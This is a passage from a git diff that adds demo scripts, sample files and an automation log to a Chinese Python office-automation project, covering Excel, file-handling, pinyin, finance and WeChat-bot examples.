UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/28 21:54 +@本段代码的视频说明 : https://www.bilibili.com/video/BV1394y1e787 +''' + +# pip install PyOfficeRobot +import PyOfficeRobot + +# 1行代码,开始智能聊天 +PyOfficeRobot.chat.chat_robot(who='每天进步一点点') diff --git a/demo/PyOfficeRobot/@AutomationLog.txt b/demo/PyOfficeRobot/@AutomationLog.txt new file mode 100644 index 0000000..c305aa2 --- /dev/null +++ b/demo/PyOfficeRobot/@AutomationLog.txt @@ -0,0 +1,84 @@ +2023-08-09 21:48:46.468 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.034 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.059 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.075 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.080 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.087 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.090 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.097 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.104 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.111 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.119 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.125 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.133 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.141 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.149 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.153 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.156 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.166 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.061 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.582 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.636 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:14.575 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:14.609 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:15.347 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:15.379 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.085 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.115 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.949 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.982 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:17.644 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:17.679 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:18.344 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:18.403 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:19.395 WeChatType.py[48] SplitMessage -> 2023-08-09 22:14:56.550 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.573 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.587 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.595 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.607 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.613 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.623 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.628 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.637 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.641 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.649 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.653 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:06.417 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.139 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.170 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.181 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.196 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.201 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.205 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.213 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.218 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.227 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:11.860 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.232 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.911 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.932 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.067 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.081 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.092 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.100 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.105 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.109 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.122 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.129 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.137 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.148 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.159 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.176 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.190 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.194 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.204 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.217 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.225 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.239 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.250 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.256 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.270 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.283 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.288 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.292 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:17:10.058 WeChatType.py[48] SplitMessage -> \ No newline at end of file diff --git "a/demo/poexcel/Excel\350\275\254PDF.py" "b/demo/poexcel/Excel\350\275\254PDF.py" new file mode 100644 index 0000000..ec6e149 --- /dev/null +++ "b/demo/poexcel/Excel\350\275\254PDF.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 19:44 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1A84y1N7or/ +''' + +import office + +office.excel.excel2pdf(excel_path=r"D:\test\程序员晚枫.xlsx", + pdf_path=r"D:\test\程序员晚枫.pdf") diff --git a/demo/poexcel/excel/split_excel_by_column.xlsx b/demo/poexcel/excel/split_excel_by_column.xlsx new file mode 100644 index 0000000..10ebd5c Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column.xlsx differ diff --git a/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx new file mode 100644 index 0000000..606436d Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx differ diff --git a/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx new file mode 100644 index 0000000..65cd110 Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx differ diff --git "a/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" "b/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" new file mode 100644 index 0000000..df5fe1b --- /dev/null +++ "b/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:30 +@本段代码的视频说明 : +''' + +import office + +# 一行代码,创建Excel文件 +office.excel.fake2excel() diff --git "a/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" "b/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" new file mode 100644 index 0000000..8e28e2d --- /dev/null +++ "b/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/6 20:17 +@本段代码的视频说明 : +''' +import poexcel + +poexcel.merge2sheet(dir_path=r'D:\workplace\code\github\python-office\tests\test_files\excel\merge2sheet', + output_sheet_name=r'platform', output_excel_name=r'./output/merge2sheet') diff --git "a/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" "b/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" new file mode 100644 index 0000000..8a60c11 --- /dev/null +++ "b/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:52 +@本段代码的视频说明 : +''' + +import office + +office.excel.merge2excel(dir_path=r'../../contributors/bulabean', output_file='test_merge2excel.xlsx', ) diff --git "a/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" "b/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" new file mode 100644 index 0000000..312ddcf --- /dev/null +++ "b/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" @@ -0,0 +1,8 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:54 +@本段代码的视频说明 : +''' diff --git "a/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" "b/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" new file mode 100644 index 0000000..8fdd581 --- /dev/null +++ "b/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:30 +@本段代码的视频说明 : https://www.bilibili.com/video/BV1wr4y1b7uk/ + 可以模拟的数据类型有:https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw +''' + +import poexcel + +poexcel.fake2excel(columns=['name', 'text'], rows=20) diff --git "a/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" "b/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" new file mode 100644 index 0000000..e4730c6 --- /dev/null +++ "b/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/25 17:40 +@Description : +''' +import poexcel + +poexcel.query4excel(query_content='程序员晚枫', + query_path=r'必填,放Excel文件的位置') + +# output_path = r'选填,输出查询结果Excel的位置,默认是query_path的位置', +# output_name = '选填,输出的文件名字,默认是:query4excel.xlsx' diff --git "a/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" "b/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" new file mode 100644 index 0000000..76497a2 --- /dev/null +++ "b/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" @@ -0,0 +1,8 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 21:50 +@本段代码的视频说明 : +''' diff --git "a/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" "b/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" new file mode 100644 index 0000000..4187223 --- /dev/null +++ "b/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" @@ -0,0 +1,16 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/6 17:40 +@本段代码的视频说明 : +''' + +import poexcel + +poexcel.split_excel_by_column( + filepath=r'D:\workplace\code\github\python-office\demo\poexcel\excel\split_excel_by_column.xlsx', + column=1, + worksheet_name='platform') + diff --git "a/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" "b/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" new file mode 100644 index 0000000..f265d19 --- /dev/null +++ "b/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 19:43 +@本段代码的文档说明 :https://blog.csdn.net/weixin_42321517/article/details/131218163 +''' + +import poexcel + +# 存放Excel文件的目录 +folder_path = r"D:\程序员晚枫的文件夹\code\github\poexcel\dev" + +poexcel.count4page(folder_path) diff --git "a/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" new file mode 100644 index 0000000..aa17a73 --- /dev/null +++ "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" @@ -0,0 +1,3 @@ +程序员晚枫 +B站 +https://space.bilibili.com/1989702333 \ No newline at end of file diff --git "a/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" new file mode 100644 index 0000000..1d11ec3 --- /dev/null +++ "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" @@ -0,0 +1,3 @@ +程序员晚枫 +小红书 +https://www.xiaohongshu.com/user/profile/611dcb820000000001014aca \ No newline at end of file diff --git "a/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" "b/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" new file mode 100644 index 0000000..5d4198c --- /dev/null +++ "b/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:05 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1ua4y1M7ya/ +''' + +# pip install pofile +import pofile + +files_list = pofile.get_files(path=r'D:\workplace\code\github\pofile\tests', name='pdf') +print(files_list) diff --git "a/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" "b/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" new file mode 100644 index 0000000..6dcc828 --- /dev/null +++ "b/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" @@ -0,0 +1,16 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/12 23:52 +@本段代码的视频说明 :https://www.bilibili.com/video/BV12r4y187Yj/ +''' + +import office + +office.file.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫') + +import pofile + +pofile.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫') diff --git "a/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" "b/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" new file mode 100644 index 0000000..12117e8 --- /dev/null +++ "b/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:06 +@本段代码的视频说明 : +''' +import pofile + +path = r'd://程序员晚枫-新文件夹' +pofile.mkdir((path)) diff --git "a/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" "b/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" new file mode 100644 index 0000000..15d1197 --- /dev/null +++ "b/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:44 +@本段代码的视频说明 : +''' + +# 导入这个库:python-office,简写为office +import search4file + +# 1行代码,实现 + +search4file.search_by_content(r'你的文件夹,例如:d:\\程序员晚枫的文件夹' , content="你需要查找的文件里面的内容,例如:所有平台都叫-程序员晚枫") \ No newline at end of file diff --git "a/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" "b/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" new file mode 100644 index 0000000..141ba38 --- /dev/null +++ "b/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 22:27 +@本段代码的视频说明 : +''' + +import pofile + +is_valid = pofile.check_suffix(file_name='程序员晚枫.pdf',suffix_list=['pdf']) +print(is_valid) diff --git "a/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" "b/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" new file mode 100644 index 0000000..d8754fe --- /dev/null +++ "b/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/20 0:04 +@本段代码的视频说明 :https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A +''' + + +import office + +path = 'd://程序员晚枫需要整理的文件夹//' +office.file.group_by_name(path) \ No newline at end of file diff --git "a/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" "b/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" new file mode 100644 index 0000000..cc6d7e0 --- /dev/null +++ "b/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/28 11:45 +@本段代码的视频说明 : +''' + +import pofinance + +print(pofinance.t0(11.06, 11.23, 500)) +print(pofinance.t0(11.06, 35.57, 2000)) +print(pofinance.t0(14, 14.5, 300)) diff --git "a/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" "b/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" new file mode 100644 index 0000000..9272785 --- /dev/null +++ "b/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" @@ -0,0 +1,26 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/30 2:59 +@本段代码的视频说明 : +''' + +# pip install pohan +import pohan +from pohan.pinyin.pinyin import Style + +line1 = "床前明月光" + +# 不带声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.NORMAL) +print(f'不带声调的结果:{pinyin_list}') + +# 带声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE) +print(f'带声调的结果:{pinyin_list}') + +# 带数字声调的 +pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE3) +print(f'带数字声调的结果:{pinyin_list}') diff --git "a/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..c9d49e8 Binary files /dev/null and "b/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git 